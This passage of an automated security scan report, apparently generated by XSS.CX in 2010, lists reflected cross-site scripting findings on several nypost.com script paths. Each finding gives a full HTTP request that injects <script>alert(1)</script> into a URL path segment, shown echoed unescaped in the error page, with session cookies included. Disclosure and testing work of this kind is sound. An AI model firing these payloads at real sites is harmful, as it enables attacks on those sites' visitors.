This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost/unica/hbx_original.js88230<script>alert(1)</script>09a09fa8c53?v=nim20100505 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/pagesix
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmc=1; __utmb=1.1.10.1288646511; ipd_a1=ipd_a1; sb_session_id=db45c7c9-322a-4318-b878-6a3225ad21f9; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOjIsInNzdCI6MTI4ODY0NjUyOSwic3B0IjoxMjg4NjQ2NTI5LCJzcGQiOjEsIm5wdiI6Miwic3VyIjoiIn0; tracklink=||%26lid%3Dfh_label%26lpos%3Dpagesix||fh_label||pagesix||Page%20Six||txt

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 708
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:32:48 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost/unica/hbx_original.js88230<script>alert(1)</script>09a09fa8c53</p>
...[SNIP]...

2.6. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/migration.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 30199<script>alert(1)</script>e809c854e93 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig30199<script>alert(1)</script>e809c854e93/WebPortal/nypost/unica/migration.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:04 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig30199<script>alert(1)</script>e809c854e93/WebPortal/nypost/unica/migration.js</p>
...[SNIP]...

2.7. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/migration.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 3ecf2<script>alert(1)</script>5b1eaf715c2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal3ecf2<script>alert(1)</script>5b1eaf715c2/nypost/unica/migration.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:12 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal3ecf2<script>alert(1)</script>5b1eaf715c2/nypost/unica/migration.js</p>
...[SNIP]...

2.8. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/migration.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 642c8<script>alert(1)</script>cbecdfa699f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost642c8<script>alert(1)</script>cbecdfa699f/unica/migration.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:26 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost642c8<script>alert(1)</script>cbecdfa699f/unica/migration.js</p>
...[SNIP]...

2.9. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/migration.js

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 4a3e0<script>alert(1)</script>b99824f930a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost/unica4a3e0<script>alert(1)</script>b99824f930a/migration.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:38 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost/unica4a3e0<script>alert(1)</script>b99824f930a/migration.js</p>
...[SNIP]...

2.10. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/migration.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/migration.js

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload fadc5<script>alert(1)</script>fdc09c0058b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost/unica/migration.jsfadc5<script>alert(1)</script>fdc09c0058b?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:49 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost/unica/migration.jsfadc5<script>alert(1)</script>fdc09c0058b</p>
...[SNIP]...

2.11. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e8fc5<script>alert(1)</script>3a1b6650024 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfige8fc5<script>alert(1)</script>3a1b6650024/WebPortal/nypost/unica/ntpagetag.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:10 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfige8fc5<script>alert(1)</script>3a1b6650024/WebPortal/nypost/unica/ntpagetag.js</p>
...[SNIP]...

2.12. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 8c439<script>alert(1)</script>346bfa426d3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal8c439<script>alert(1)</script>346bfa426d3/nypost/unica/ntpagetag.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:23 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal8c439<script>alert(1)</script>346bfa426d3/nypost/unica/ntpagetag.js</p>
...[SNIP]...

2.13. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a6ac5<script>alert(1)</script>bae12301668 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nyposta6ac5<script>alert(1)</script>bae12301668/unica/ntpagetag.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:38 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nyposta6ac5<script>alert(1)</script>bae12301668/unica/ntpagetag.js</p>
...[SNIP]...

2.14. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 47652<script>alert(1)</script>b6d20006b6d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost/unica47652<script>alert(1)</script>b6d20006b6d/ntpagetag.js?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:37:49 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost/unica47652<script>alert(1)</script>b6d20006b6d/ntpagetag.js</p>
...[SNIP]...

2.15. http://www.nypost.com/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js [REST URL parameter 6]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.nypost.com
Path:   /rw/SysConfig/WebPortal/nypost/unica/ntpagetag.js

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload cc365<script>alert(1)</script>01d07d87c13 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rw/SysConfig/WebPortal/nypost/unica/ntpagetag.jscc365<script>alert(1)</script>01d07d87c13?v=nim20091109 HTTP/1.1
Host: www.nypost.com
Proxy-Connection: keep-alive
Referer: http://www.nypost.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=1.1286663223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); UnicaID=bHMpUfJ6H2F-Wob5vOe; ipd_a1=ipd_a1; __utma=1.1967664957.1286663223.1286663223.1288646511.2; __utmb=1.2.10.1288646511; tracklink=; sb_permanent_id=f93674eb-8753-41c4-98a9-595d10169a4f; sb_persisted=eyJmdnQiOiIxMjg2NjQ1Mjg1Iiwidm4iOiIyIiwic3N0IjoiMTI4ODY0NjUyOSIsInNwdCI6MTI4ODY0NzA2OSwic3BkIjoyLCJucHYiOjMsInN1ciI6IiJ9

Response

HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Content-Length: 705
Vary: Accept-Encoding
Date: Mon, 01 Nov 2010 21:38:00 GMT
Connection: close

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rw/SysConfig/WebPortal/nypost/unica/ntpagetag.jscc365<script>alert(1)</script>01d07d87c13</p>
...[SNIP]...

Report generated by XSS.CX at Sat Nov 13 20:07:34 CST 2010.